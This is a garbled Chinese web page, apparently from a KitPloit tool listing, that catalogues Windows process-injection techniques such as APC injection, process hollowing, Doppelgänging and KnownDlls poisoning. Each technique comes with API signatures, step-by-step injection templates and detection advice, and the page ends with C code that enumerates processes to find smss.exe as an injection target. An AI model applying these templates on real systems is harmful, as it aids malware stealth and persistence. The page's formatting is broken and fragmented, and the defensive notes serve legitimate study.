  • Thread32Next ```c BOOL Thread32Next( HANDLE hSnapshot, LPTHREADENTRY32 lpte );
    root@kitploit:~
  1. 使用 CreateToolhelp32Snapshot 创建系统进程快照
  2. 使用 Process32First、Process32Next、Thread32First 和 Thread32Next 枚举进程和线程
  3. 使用 OpenProcess 打开目标进程
  4. 使用 VirtualAllocEx 在目标进程中分配内存
  5. 使用 WriteProcessMemory 将恶意代码写入已分配的内存
  6. 使用 QueueUserAPC 将 APC 排入目标线程队列,指向注入的代码

检测与防御:

  • 监控可疑的 APC 队列操作
  • 实施线程执行监控,以检测意外的代码执行
  • 使用具备 APC 滥用检测能力的 EDR 解决方案
  • 采用运行时分析来识别异常的线程行为

5. 进程镂空(进程替换)

该技术会将进程的全部内容“掏空”,并在其中注入恶意内容。

关键 API:

  • CreateProcess ```c BOOL CreateProcessA( LPCSTR lpApplicationName, LPSTR lpCommandLine, LPSECURITY_ATTRIBUTES lpProcessAttributes, LPSECURITY_ATTRIBUTES lpThreadAttributes, BOOL bInheritHandles, DWORD dwCreationFlags, LPVOID lpEnvironment, LPCSTR lpCurrentDirectory, LPSTARTUPINFOA lpStartupInfo, LPPROCESS_INFORMATION lpProcessInformation );
    root@kitploit:~
  • NtQueryInformationProcess(未文档化) ```c NTSTATUS NTAPI NtQueryInformationProcess( IN HANDLE ProcessHandle, IN PROCESSINFOCLASS ProcessInformationClass, OUT PVOID ProcessInformation, IN ULONG ProcessInformationLength, OUT PULONG ReturnLength OPTIONAL );
    root@kitploit:~
  • GetModuleHandle ```c HMODULE GetModuleHandleA( LPCSTR lpModuleName );
    root@kitploit:~

ZwUnmapViewOfSection / NtUnmapViewOfSection (未文档化) ```c NTSTATUS NTAPI NtUnmapViewOfSection( IN HANDLE ProcessHandle, IN PVOID BaseAddress );

root@kitploit:~
- `VirtualAllocEx`(见上文)
- `WriteProcessMemory`(见上文)
- [`GetThreadContext`](https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-getthreadcontext)  ```c
BOOL GetThreadContext(
  HANDLE    hThread,
  LPCONTEXT lpContext
);
  • SetThreadContext(见上文)
  • ResumeThread(见上文)

模板:

  1. 使用带有 CREATE_SUSPENDED 标志的 CreateProcess 创建一个挂起状态的新进程
  2. 使用 NtQueryInformationProcess 获取进程信息
  3. 使用 NtUnmapViewOfSection 从进程中卸载原始可执行文件。卸载原始可执行文件后,调整 PEB(进程环境块)中的映像基址,使其指向新分配的内存。
  4. 调整 PEB 中的映像基址:
  • 使用 ReadProcessMemory 读取 PEB
  • 定位 ImageBaseAddress 字段
  • 使用 WriteProcessMemory 用新分配内存的地址更新它
  1. 使用 VirtualAllocEx 在目标进程中分配内存
  2. 使用 WriteProcessMemory 将恶意可执行文件写入分配的内存
  3. 使用 GetThreadContext 和 SetThreadContext 更新线程上下文,使其指向新的入口点
  4. 使用 ResumeThread 恢复进程的主线程

检测与防御:

  • 实施进程完整性检查以检测被镂空的进程
  • 监控可疑的进程创建模式,尤其是带有 CREATE_SUSPENDED 标志的进程
  • 使用内存取证工具识别进程镂空的迹象
  • 采用基于行为的检测来识别具有异常内存布局的进程

6. AtomBombing

APC 注入的一种变体,其工作原理是将恶意负载拆分为单独的字符串并使用原子(atom)。该技术依赖于原子在进程之间共享这一事实。

关键 API:

  • OpenThread(见上文)
  • GlobalAddAtom ```c ATOM GlobalAddAtomA( LPCSTR lpString );
    root@kitploit:~
  • GlobalGetAtomName ```c UINT GlobalGetAtomNameA( ATOM nAtom, LPSTR lpBuffer, int nSize );
    root@kitploit:~
  • QueueUserAPC (见上文)
  • NtQueueApcThread (未文档化,见上文)
  • NtSetContextThread (未文档化) ```c NTSTATUS NTAPI NtSetContextThread( IN HANDLE ThreadHandle, IN PCONTEXT ThreadContext );
    root@kitploit:~

模板:

  1. 将恶意负载拆分为小块
  2. 对于每个块,使用 GlobalAddAtom 创建一个全局原子
  3. 使用 OpenThread 打开目标线程
  4. 使用 QueueUserAPC 或 NtQueueApcThread 向目标线程排队 APC
  5. 在 APC 例程中,使用 GlobalGetAtomName 检索负载块
  6. 在目标进程内存中组装负载
  7. 使用 NtSetContextThread 或通过排队另一个 APC 来执行负载

检测与防御:

  • 监控原子创建和检索的异常模式
  • 针对访问大量原子的进程实施基于行为的检测
  • 使用能够检测 AtomBombing 技术的 EDR 解决方案
  • 采用运行时分析来识别与原子操作相结合的可疑 APC 使用

7. 进程替身(Process Doppelgänging)

它是进程镂空的一种演进,在进程创建之前替换映像。该技术利用 Windows 事务性 NTFS(TxF)在进程创建期间临时将合法文件替换为恶意文件。

关键 API:

  • CreateTransaction ```c HANDLE CreateTransaction( LPSECURITY_ATTRIBUTES lpTransactionAttributes, LPGUID UOW, DWORD CreateOptions, DWORD IsolationLevel, DWORD IsolationFlags, DWORD Timeout, LPWSTR Description );
    root@kitploit:~
  • CreateFileTransacted ```c HANDLE CreateFileTransactedA( LPCSTR lpFileName, DWORD dwDesiredAccess, DWORD dwShareMode, LPSECURITY_ATTRIBUTES lpSecurityAttributes, DWORD dwCreationDisposition, DWORD dwFlagsAndAttributes, HANDLE hTemplateFile, HANDLE hTransaction, PUSHORT pusMiniVersion, PVOID lpExtendedParameter );
    root@kitploit:~
  • NtCreateSection (未记录) ```c NTSTATUS NTAPI NtCreateSection( OUT PHANDLE SectionHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL, IN PLARGE_INTEGER MaximumSize OPTIONAL, IN ULONG SectionPageProtection, IN ULONG AllocationAttributes, IN HANDLE FileHandle OPTIONAL );
    root@kitploit:~
  • NtCreateProcessEx (未文档化) ```c NTSTATUS NTAPI NtCreateProcessEx( OUT PHANDLE ProcessHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL, IN HANDLE ParentProcess, IN ULONG Flags, IN HANDLE SectionHandle OPTIONAL, IN HANDLE DebugPort OPTIONAL, IN HANDLE ExceptionPort OPTIONAL, IN BOOLEAN InJob );
    root@kitploit:~

RollbackTransaction ```c BOOL RollbackTransaction( HANDLE TransactionHandle );

root@kitploit:~
模板:
1. 使用 `CreateTransaction` 创建事务
2. 使用 `CreateFileTransacted` 创建事务性文件
3. 将恶意负载写入事务性文件
4. 使用 `NtCreateSection` 为事务性文件创建节
5. 使用 `NtCreateProcessEx` 从节创建进程
6. 使用 `NtCreateThreadEx` 在新进程中创建线程
7. 使用 `RollbackTransaction` 回滚事务以清除恶意文件的痕迹

检测与防御:
- 监视可疑的事务性 NTFS 操作
- 实施文件完整性监控以检测临时文件替换
- 使用能够检测 Process Doppelgänging 技术的高级 EDR 解决方案
- 采用基于行为的检测来识别由事务性文件创建的进程

## 8. Process Herpaderping

与 Process Doppelgänging 类似,但利用了进程创建与安全检查的顺序。该技术利用了 Windows 在开始执行进程之前对可执行文件执行安全检查这一事实。

关键 API:
- [`CreateFile`](https://docs.microsoft.com/en-us/windows/win32/api/fileapi/nf-fileapi-createfilea)  ```c
HANDLE CreateFileA(
  LPCSTR                lpFileName,
  DWORD                 dwDesiredAccess,
  DWORD                 dwShareMode,
  LPSECURITY_ATTRIBUTES lpSecurityAttributes,
  DWORD                 dwCreationDisposition,
  DWORD                 dwFlagsAndAttributes,
  HANDLE                hTemplateFile
);
  • NtCreateSection(未文档化,见上文)
  • NtCreateProcessEx(未文档化,见上文)
  • NtCreateThreadEx(未文档化,见上文)

模板:

  1. 使用 CreateFile 创建一个文件
  2. 将恶意负载写入该文件
  3. 使用 NtCreateSection 为该文件创建节(section)
  4. 用良性数据覆盖文件内容
  5. 使用 NtCreateProcessEx 从该节创建进程
  6. 使用 NtCreateThreadEx 在新进程中创建线程

检测与防御:

  • 实施文件完整性监控,检测可执行文件的快速变化
  • 使用基于行为的检测来识别文件内容不匹配的进程
  • 采用能够检测 Process Herpaderping 技术的高级 EDR 解决方案
  • 监控文件创建、修改和进程创建的可疑模式

9. 钩子注入

此技术使用与挂钩(hooking)相关的函数来注入恶意 DLL。该技术不仅可用于注入,还可用于 API 挂钩。

关键 API:

  • SetWindowsHookEx ```c HHOOK SetWindowsHookExA( int idHook, HOOKPROC lpfn, HINSTANCE hmod, DWORD dwThreadId );
    root@kitploit:~
  • PostThreadMessage ```c BOOL PostThreadMessageA( DWORD idThread, UINT Msg, WPARAM wParam, LPARAM lParam );
    root@kitploit:~

模板:

  1. 创建包含钩子过程的 DLL
  2. 使用 SetWindowsHookEx 在目标进程中设置钩子
  3. 通过 PostThreadMessage 发送消息来触发钩子

检测与防御:

  • 监控 SetWindowsHookEx 的可疑使用,尤其是全局钩子
  • 实施 API 挂钩检测机制
  • 使用具备检测异常钩子安装能力的 EDR 解决方案
  • 采用基于行为的检测来识别加载了意外模块的进程

10. 额外窗口内存注入

该技术利用额外窗口内存(EWM)将代码注入进程,EWM 在窗口类注册期间被附加到类实例上。不太常见,并且可能会被某些安全解决方案检测到。

关键 API:

  • FindWindowA ```c HWND FindWindowA( LPCSTR lpClassName, LPCSTR lpWindowName );
    root@kitploit:~
  • GetWindowThreadProcessId ```c DWORD GetWindowThreadProcessId( HWND hWnd, LPDWORD lpdwProcessId );
    root@kitploit:~
  • OpenProcess(见上文)
  • VirtualAllocEx(见上文)
  • WriteProcessMemory(见上文)
  • SetWindowLongPtrA ```c LONG_PTR SetWindowLongPtrA( HWND hWnd, int nIndex, LONG_PTR dwNewLong );
    root@kitploit:~
  • SendNotifyMessage ```c BOOL SendNotifyMessageA( HWND hWnd, UINT Msg, WPARAM wParam, LPARAM lParam );
    root@kitploit:~

Template:

  1. 使用 FindWindowA 查找目标窗口
  2. 使用 GetWindowThreadProcessId 获取窗口的进程 ID
  3. 使用 OpenProcess 打开进程
  4. 使用 VirtualAllocEx 在目标进程中分配内存
  5. 使用 WriteProcessMemory 将恶意代码写入已分配的内存
  6. 使用 SetWindowLongPtrA 修改窗口的额外内存
  7. 使用 SendNotifyMessage 触发执行

检测与防御:

  • 监控窗口属性的可疑修改
  • 对窗口类数据实施完整性检查
  • 使用具备检测 EWM 篡改能力的 EDR 解决方案
  • 采用基于行为的检测,识别窗口属性发生意外变化的进程

11. 传播注入

该技术用于将恶意代码注入到中完整性级别的进程中,例如 explorer.exe。它通过枚举窗口并对其进行子类化来工作。对权限提升可能特别有效。

关键 API:

  • EnumWindows ```c BOOL EnumWindows( WNDENUMPROC lpEnumFunc, LPARAM lParam );
    root@kitploit:~
  • EnumChildWindows ```c BOOL EnumChildWindows( HWND hWndParent, WNDENUMPROC lpEnumFunc, LPARAM lParam );
    root@kitploit:~

EnumProps ```c int EnumPropsA( HWND hWnd, PROPENUMPROCA lpEnumFunc );

root@kitploit:~
- [`GetProp`](https://docs.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-getpropa)  ```c
HANDLE GetPropA(
  HWND    hWnd,
  LPCSTR lpString
);
  • SetWindowSubclass ```c BOOL SetWindowSubclass( HWND hWnd, SUBCLASSPROC pfnSubclass, UINT_PTR uIdSubclass, DWORD_PTR dwRefData );
    root@kitploit:~
  • FindWindow(见上文)
  • FindWindowEx(见上文)
  • GetWindowThreadProcessId(见上文)
  • OpenProcess(见上文)
  • ReadProcessMemory(见上文)
  • VirtualAllocEx(见上文)
  • WriteProcessMemory(见上文)
  • SetPropA ```c BOOL SetPropA( HWND hWnd, LPCSTR lpString, HANDLE hData );
    root@kitploit:~
  • ```c BOOL PostMessageA( HWND hWnd, UINT Msg, WPARAM wParam, LPARAM lParam );

模板:

  1. 使用 EnumWindows 和 EnumChildWindows 枚举窗口
  2. 对于每个窗口,使用 EnumProps 和 GetProp 检查是否存在子类化窗口
  3. 使用 OpenProcess 打开目标进程
  4. 使用 VirtualAllocEx 在目标进程中分配内存
  5. 使用 WriteProcessMemory 将恶意代码写入分配的内存
  6. 使用 SetWindowSubclass 对窗口进行子类化
  7. 使用 SetPropA 设置一个新属性以存储载荷
  8. 使用 PostMessage 发送消息以触发执行

检测与防御:

  • 监视窗口枚举和子类化的可疑模式
  • 对窗口子类化实施完整性检查
  • 使用能够检测传播式注入技术的 EDR 解决方案
  • 采用基于行为的检测来识别窗口子类化发生意外变化的进程

12. 堆喷射

虽然严格来说并非注入技术,但堆喷射通常与其他注入方法结合使用,以促进漏洞利用载荷的投递。现代浏览器和操作系统已经针对这一点实施了缓解措施。

关键 API:

  • HeapAlloc ```c LPVOID HeapAlloc( HANDLE hHeap, DWORD dwFlags, SIZE_T dwBytes );
    root@kitploit:~
  • VirtualAlloc ```c LPVOID VirtualAlloc( LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect );
    root@kitploit:~

模板:

  1. 使用 HeapAlloc 或 VirtualAlloc 分配多个内存块
  2. 将这些内存块填充为 NOP 滑板与载荷的组合
  3. 重复此过程以覆盖进程地址空间的很大一部分

检测与防御:

  • 实施内存分配监控以检测可疑模式
  • 使用地址空间布局随机化(ASLR)缓解堆喷射攻击
  • 采用具备检测堆喷射技术能力的 EDR 解决方案
  • 实现浏览器特定的缓解措施,例如随机化堆分配

13. 线程执行劫持

该技术涉及挂起目标进程中的合法线程,修改其执行上下文以指向恶意代码,然后恢复该线程。保存和恢复原始线程上下文是维持进程稳定性所必需的。

关键 API:

  • OpenThread(见上文)
  • SuspendThread(见上文)
  • GetThreadContext(见上文)
  • SetThreadContext(见上文)
  • VirtualAllocEx(见上文)
  • WriteProcessMemory(见上文)
  • ResumeThread(见上文)

模板:

  1. 使用 OpenThread 打开目标线程
  2. 使用 SuspendThread 挂起线程
  3. 使用 GetThreadContext 获取线程上下文
  4. 使用 VirtualAllocEx 在目标进程中分配内存
  5. 使用 WriteProcessMemory 将恶意代码写入分配的内存
  6. 使用 SetThreadContext 修改线程上下文以指向注入的代码
  7. 使用 ResumeThread 恢复线程

检测与防御:

  • 监控线程挂起和恢复的可疑模式
  • 实施线程执行监控以检测执行流的意外变化
  • 使用具备检测线程劫持技术能力的 EDR 解决方案
  • 采用运行时分析来识别异常的线程行为

14. 模块踩踏

该技术会用恶意代码覆盖目标进程中合法模块的内存,可能绕过某些安全检查。可通过已加载模块的完整性检查来检测。

关键 API:

  • GetModuleInformation ```c BOOL GetModuleInformation( HANDLE hProcess, HMODULE hModule, LPMODULEINFO lpmodinfo, DWORD cb );
    root@kitploit:~
  • VirtualProtectEx ```c BOOL VirtualProtectEx( HANDLE hProcess, LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect );
    root@kitploit:~
  • WriteProcessMemory (见上文)

模板:

  1. 使用 OpenProcess 打开目标进程
  2. 使用 GetModuleInformation 获取目标模块的信息
  3. 使用 VirtualProtectEx 将模块的内存保护更改为可写
  4. 使用 WriteProcessMemory 用恶意代码覆盖模块的代码段
  5. 使用 VirtualProtectEx 恢复原始内存保护

检测与防御:

  • 实施模块完整性检查,以检测已加载模块的修改
  • 使用具备检测模块踩踏技术能力的 EDR 解决方案
  • 使用内存取证工具识别模块踩踏的迹象
  • 为已加载模块实施代码签名和验证机制

15. IAT 钩取

此技术修改进程的导入地址表(IAT),将函数调用重定向到恶意代码。通过将 IAT 条目与目标 DLL 中的实际函数地址进行比较来进行检测。

关键 API:

  • GetProcAddress ```c FARPROC GetProcAddress( HMODULE hModule, LPCSTR lpProcName );
    root@kitploit:~
  • VirtualProtect ```c BOOL VirtualProtect( LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect );
    root@kitploit:~

模板:

  1. 定位目标进程的 IAT
  2. 识别要挂钩的函数
  3. 使用 VirtualProtect 将 IAT 的内存保护更改为可写
  4. 用恶意函数的地址替换原始函数地址
  • 计算目标函数 IAT 条目的地址
  • 从 IAT 条目中读取原始函数地址
  • 用恶意函数的地址替换原始函数地址
  1. 恢复原始内存保护

检测与防御:

  • 实施 IAT 完整性检查以检测修改
  • 使用能够检测 IAT 挂钩的 EDR 解决方案
  • 采用运行时分析来识别意外的函数重定向
  • 为已加载模块实施代码签名和验证机制

16. 内联挂钩

该技术会修改函数的前几条指令,以将执行重定向到恶意代码。需要小心处理多字节指令和相对跳转。

关键 API:

  • VirtualProtect(见上文)
  • memcpy ```c void *memcpy( void *dest, const void *src, size_t count );
    root@kitploit:~

Template:

  1. 在内存中定位目标函数
  2. 使用 VirtualProtect 将内存保护更改为可写
  3. 保存原始指令(通常为 5 个或更多字节)
  4. 用跳转到恶意代码的指令覆盖函数开头
  5. 在恶意代码中,执行已保存的原始指令,然后跳回原函数

检测与防御:

  • 实现函数完整性检查,以检测函数序言的修改
  • 使用具备检测内联挂钩能力的 EDR 解决方案
  • 采用运行时分析来识别函数执行流程中的意外变化
  • 为已加载模块实现代码签名和验证机制

17. 调试器注入

此技术使用调试 API 将代码注入目标进程。该行为可被目标进程中的反调试检查检测到。

关键 API:

  • DebugActiveProcess ```c BOOL DebugActiveProcess( DWORD dwProcessId );
    root@kitploit:~
  • WaitForDebugEvent ```c BOOL WaitForDebugEvent( LPDEBUG_EVENT lpDebugEvent, DWORD dwMilliseconds );
    root@kitploit:~
  • ContinueDebugEvent ```c BOOL ContinueDebugEvent( DWORD dwProcessId, DWORD dwThreadId, DWORD dwContinueStatus );
    root@kitploit:~

模板:

  1. 使用 DebugActiveProcess 作为调试器附加到目标进程
  2. 使用 WaitForDebugEvent 等待调试事件
  3. 当合适的事件发生时,使用 WriteProcessMemory 注入恶意代码
  4. 修改线程上下文以执行注入的代码
  5. 使用 ContinueDebugEvent 继续调试事件

检测与防御:

  • 在敏感应用程序中实施反调试技术
  • 监控调试 API 的可疑使用
  • 使用能够检测基于调试器注入的 EDR 解决方案
  • 利用运行时分析来识别意外的调试事件

18. COM 劫持

该技术涉及用恶意 COM 对象替换合法的 COM 对象,以便在实例化 COM 对象时执行代码。用于持久化,而不仅仅是注入。

关键 API:

  • CoCreateInstance ```c HRESULT CoCreateInstance( REFCLSID rclsid, LPUNKNOWN pUnkOuter, DWORD dwClsContext, REFIID riid, LPVOID *ppv );
    root@kitploit:~
  • RegOverridePredefKey ```c LSTATUS RegOverridePredefKey( HKEY hKey, HKEY hNewHKey );
    root@kitploit:~

模板:

  1. 创建一个恶意的 COM 对象
  2. 修改注册表,将合法 COM 对象的 CLSID 替换为恶意对象的 CLSID
  3. 当应用程序调用 CoCreateInstance 时,将实例化恶意对象而非合法对象

检测与防御:

  • 实施 COM 对象完整性检查
  • 监控与 COM 对象相关的可疑注册表修改
  • 使用应用程序白名单以防止未经授权的 COM 对象加载
  • 采用基于行为的检测来识别意外的 COM 对象实例化

19. Phantom DLL Hollowing

该技术涉及在合法 DLL 中创建一个新节区(section)并向其中注入代码。

关键 API:

  • LoadLibraryEx ```c HMODULE LoadLibraryExA( LPCSTR lpLibFileName, HANDLE hFile, DWORD dwFlags );
    root@kitploit:~
  • VirtualAlloc ```c LPVOID VirtualAlloc( LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect );
    root@kitploit:~
  • VirtualProtect ```c BOOL VirtualProtect( LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect );
    root@kitploit:~

Template:

  1. 使用 LoadLibraryEx 并以 DONT_RESOLVE_DLL_REFERENCES 标志加载合法 DLL
  2. 使用 VirtualAlloc 分配新的内存节
  3. 将恶意代码复制到新节
  4. 修改 DLL 的 PE 头以包含新节
  5. 使用 VirtualProtect 更改新节的内存保护
  6. 执行注入的代码

Detection and Defense:

  • 实施 DLL 完整性检查以检测修改
  • 监视可疑的 DLL 加载和内存分配模式
  • 使用具有检测幻影 DLL 掏空能力的 EDR 解决方案
  • 使用内存取证工具识别 DLL 被篡改的迹象

20. PROPagate

该技术滥用 SetProp/GetProp Windows API 函数来实现代码执行。

关键 API:

  • SetProp ```c BOOL SetPropA( HWND hWnd, LPCSTR lpString, HANDLE hData );
    root@kitploit:~
  • GetProp ```c HANDLE GetPropA( HWND hWnd, LPCSTR lpString );
    root@kitploit:~
  • EnumPropsEx ```c int EnumPropsExW( HWND hWnd, PROPENUMPROCEXW lpEnumFunc, LPARAM lParam );
    root@kitploit:~

模板:

  1. 使用 FindWindow 或 EnumWindows 查找目标窗口
  2. 使用 VirtualAllocEx 为载荷分配内存
  3. 使用 WriteProcessMemory 将载荷写入已分配的内存
  4. 使用 SetProp 在窗口上设置属性,属性值为载荷地址
  • 创建自定义窗口过程以执行载荷
  • 使用 SetWindowLongPtr 将原始窗口过程替换为自定义过程
  1. 通过导致窗口枚举其属性来触发执行(例如,发送导致重绘的消息)

检测与防御:

  • 监控对窗口属性的可疑修改
  • 对窗口属性实施完整性检查
  • 使用具有检测 PROPagate 技术能力的 EDR 解决方案
  • 采用基于行为的检测,识别具有意外窗口属性变化的进程

21. Early Bird 注入

该技术将代码注入进程的初始化阶段,在主线程开始执行之前。

关键 API:

  • CreateProcess ```c BOOL CreateProcessA( LPCSTR lpApplicationName, LPSTR lpCommandLine, LPSECURITY_ATTRIBUTES lpProcessAttributes, LPSECURITY_ATTRIBUTES lpThreadAttributes, BOOL bInheritHandles, DWORD dwCreationFlags, LPVOID lpEnvironment, LPCSTR lpCurrentDirectory, LPSTARTUPINFOA lpStartupInfo, LPPROCESS_INFORMATION lpProcessInformation );
    root@kitploit:~
  • VirtualAllocEx (见上文)
  • WriteProcessMemory (见上文)
  • QueueUserAPC (见上文)
  • ResumeThread (见上文)

Template:

  1. 使用带有 CREATE_SUSPENDED 标志的 CreateProcess 创建挂起状态的新进程
  2. 使用 VirtualAllocEx 在新进程中分配内存
  3. 使用 WriteProcessMemory 将 payload 写入已分配的内存
  4. 使用 QueueUserAPC 将指向 payload 的 APC 排队到主线程
  5. 使用 ResumeThread 恢复主线程

Detection and Defense:

  • 监控带有 CREATE_SUSPENDED 标志的进程创建
  • 实施进程初始化监控以检测意外的代码执行
  • 使用能够检测 Early Bird 注入技术的 EDR 解决方案
  • 采用基于行为的检测来识别具有异常初始化模式的进程

22. 基于 Shim 的注入

该技术利用 Windows 应用程序兼容性框架来注入代码。

关键 API:

  • SdbCreateDatabase ```c PDB SdbCreateDatabase( LPCWSTR pwszPath );
    root@kitploit:~
  • SdbWriteDWORDTag ```c BOOL SdbWriteDWORDTag( PDB pdb, TAG tTag, DWORD dwData );
    root@kitploit:~
  • SdbEndWriteListTag ```c BOOL SdbEndWriteListTag( PDB pdb, TAG tTag );
    root@kitploit:~

Template:

  1. 使用 SdbCreateDatabase 创建 shim 数据库
  2. 向数据库写入 shim 数据,包括载荷和目标应用程序
  3. 使用 sdbinst.exe 安装 shim 数据库
  4. 当目标应用程序启动时,载荷将被执行

检测与防御:

  • 监控可疑的 shim 数据库创建与安装
  • 实施应用程序兼容性 shim 监控
  • 使用具备检测基于 shim 的注入技术能力的 EDR 解决方案
  • 对已批准的 shim 采用白名单,并阻止未经授权的 shim 安装

23. 映射注入

该技术利用内存映射文件将代码注入到远程进程中。

关键 API:

  • CreateFileMapping ```c HANDLE CreateFileMappingA( HANDLE hFile, LPSECURITY_ATTRIBUTES lpFileMappingAttributes, DWORD flProtect, DWORD dwMaximumSizeHigh, DWORD dwMaximumSizeLow, LPCSTR lpName );
    root@kitploit:~
  • MapViewOfFile ```c LPVOID MapViewOfFile( HANDLE hFileMappingObject, DWORD dwDesiredAccess, DWORD dwFileOffsetHigh, DWORD dwFileOffsetLow, SIZE_T dwNumberOfBytesToMap );
    root@kitploit:~
  • NtMapViewOfSection (未文档化) ```c NTSTATUS NTAPI NtMapViewOfSection( HANDLE SectionHandle, HANDLE ProcessHandle, PVOID *BaseAddress, ULONG_PTR ZeroBits, SIZE_T CommitSize, PLARGE_INTEGER SectionOffset, PSIZE_T ViewSize, SECTION_INHERIT InheritDisposition, ULONG AllocationType, ULONG Win32Protect );
    root@kitploit:~

模板:

  1. 使用 CreateFileMapping 创建文件映射对象
  2. 使用 MapViewOfFile 将文件视图映射到当前进程
  3. 将载荷写入映射视图
  4. 使用 NtMapViewOfSection 将视图映射到目标进程
  5. 在目标进程中执行载荷

检测与防御:

  • 监视文件映射和视图创建的可疑模式
  • 实施内存映射监控,以检测意外的共享内存使用
  • 使用具备检测映射注入技术能力的 EDR 解决方案
  • 采用基于行为的检测,识别内存映射文件使用异常的进程

24. KnownDlls 缓存投毒

该技术涉及将 KnownDlls 缓存中的合法 DLL 替换为恶意 DLL。

关键 API:

  • NtSetSystemInformation(未文档化) ```c NTSTATUS NTAPI NtSetSystemInformation( SYSTEM_INFORMATION_CLASS SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength );
    root@kitploit:~

模板:

  1. 创建一个与合法 KnownDLLs 条目同名的恶意 DLL
  2. 为恶意 DLL 创建一个 Section 对象:
    • 使用 NtCreateSection 创建一个 section 对象
    • 将 section 的一个视图映射到内存中
    • 将恶意 DLL 内容写入映射的视图
  3. 使用 NtSetSystemInformation 配合 SystemExtendServiceTableInformation 将恶意 DLL 添加到 KnownDLLs 缓存中
  4. 进程将加载恶意 DLL 而不是合法的 DLL

检测与防御:

  • 实现 KnownDLLs 完整性检查
  • 监控对 KnownDLLs 缓存的修改
  • 使用具有检测 KnownDLLs 缓存投毒能力的 EDR 解决方案
  • 对 KnownDLLs 缓存中的 DLL 采用白名单和代码签名验证

检测与防御的其他注意事项

  1. 实施稳健的应用程序白名单策略,以防止未经授权的可执行文件和 DLL 运行。
  2. 使用 Windows Defender Exploit Guard 或类似技术启用攻击面减少(ASR)规则。
  3. 使系统和软件保持最新的安全补丁。
  4. 利用用户帐户控制(UAC)和最小权限原则来限制注入成功后的影响。
  5. 实施网络分段,以在攻击成功时限制横向移动。
  6. 使用运行时应用自我保护(RASP)技术来实时检测和阻止注入尝试。
  7. 定期开展威胁狩猎活动,主动搜寻注入技术的迹象。
  8. 实施并维护一个稳健的安全信息和事件管理(SIEM)系统,以关联和分析安全事件。
  9. 定期对用户进行安全意识培训,以识别和报告可疑活动。
  10. 定期进行渗透测试和红队演练,以识别漏洞并改进针对注入技术的防御。

进程枚举```c

#include <stdio.h> #include <Windows.h> #include <tlhelp32.h> #include <errhandlingapi.h> // GetLastError #include <heapapi.h> // HeapCreate, HeapAlloc, HeapDestroy #include <strsafe.h> // StringCchPrintf #include <assert.h> #include <tchar.h>

void ErrorExit(LPCTSTR lpszFunction); int ProcessEnumerateAndSearch(const wchar_t* ProcessName, PROCESSENTRY32* lppe); int PrintProcessInfo(const PROCESSENTRY32* lppe);

int PrintProcessInfo(const PROCESSENTRY32* lppe) { assert(lppe);

root@kitploit:~
wprintf(L"PROCESS : %ls\n", lppe->szExeFile);

int PID = static_cast<int>(lppe->th32ProcessID);
if (PID == 0) {
    wprintf(L"ERR : Process Not Found.\n");
    return 0;
}

wprintf(L"PID : %i\n\n", PID);
return 1;

}

void ErrorExit(LPCTSTR functionName) { constexpr DWORD FLAGS = FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS; constexpr DWORD LANG_ID = MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT); constexpr size_t EXTRA_CHARS = 40;

root@kitploit:~
DWORD errorCode = GetLastError();
LPTSTR messageBuf = nullptr;

FormatMessage(FLAGS, NULL, errorCode, LANG_ID, (LPTSTR)&messageBuf, 0, NULL);

if (messageBuf) {
    size_t funcNameLen = _tcslen(functionName);
    size_t messageLen = _tcslen(messageBuf);
    size_t bufSize = (funcNameLen + messageLen + EXTRA_CHARS) * sizeof(TCHAR);

    LPTSTR displayBuf = static_cast<LPTSTR>(LocalAlloc(LMEM_ZEROINIT, bufSize));
    if (displayBuf) {
        StringCchPrintf(displayBuf, LocalSize(displayBuf) / sizeof(TCHAR), TEXT("%s failed with error %d: %s"), functionName, errorCode, messageBuf);
        MessageBox(NULL, displayBuf, TEXT("Error"), MB_OK);

        LocalFree(displayBuf);
    }

    LocalFree(messageBuf);
}

ExitProcess(errorCode);

}

int ProcessEnumerateAndSearch(const wchar_t* ProcessName, PROCESSENTRY32* lppe) { assert(ProcessName && lppe);

root@kitploit:~
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnapshot == INVALID_HANDLE_VALUE)
    ErrorExit(TEXT("CreateToolhelp32Snapshot"));

lppe->dwSize = sizeof(PROCESSENTRY32);

if (Process32First(hSnapshot, lppe) == FALSE) {
    CloseHandle(hSnapshot);
    ErrorExit(TEXT("Process32First"));
}

int pFoundFlag = 0;
do {
    size_t wcProcessName = wcslen(ProcessName);
    if (wcsncmp(lppe->szExeFile, ProcessName, wcProcessName) == 0) {
        if (!PrintProcessInfo(lppe)) continue;
        pFoundFlag = 1;
        break;
    }
} while (Process32Next(hSnapshot, lppe));

CloseHandle(hSnapshot);

return pFoundFlag;

}

int main(int argc, char** argv) { wchar_t pName[] = L"smss.exe"; // process name we will be injecting PROCESSENTRY32 lppe = { 0 };

root@kitploit:~
if (ProcessEnumerateAndSearch(pName, &lppe)) {
    // do some stuff
}
else {
    return 1;
}

return 0;

}

root@kitploit:~
下载工具
root@kitploit:~
  • NtQueueApcThread (未文档化) ```c NTSTATUS NTAPI NtQueueApcThread( IN HANDLE ThreadHandle, IN PIO_APC_ROUTINE ApcRoutine, IN PVOID ApcRoutineContext OPTIONAL, IN PIO_STATUS_BLOCK ApcStatusBlock OPTIONAL, IN ULONG ApcReserved OPTIONAL );
    root@kitploit:~
  • RtlCreateUserThread (见上文)
  • QueueUserAPC ```c DWORD QueueUserAPC( PAPCFUNC pfnAPC, HANDLE hThread, ULONG_PTR dwData );
    root@kitploit:~
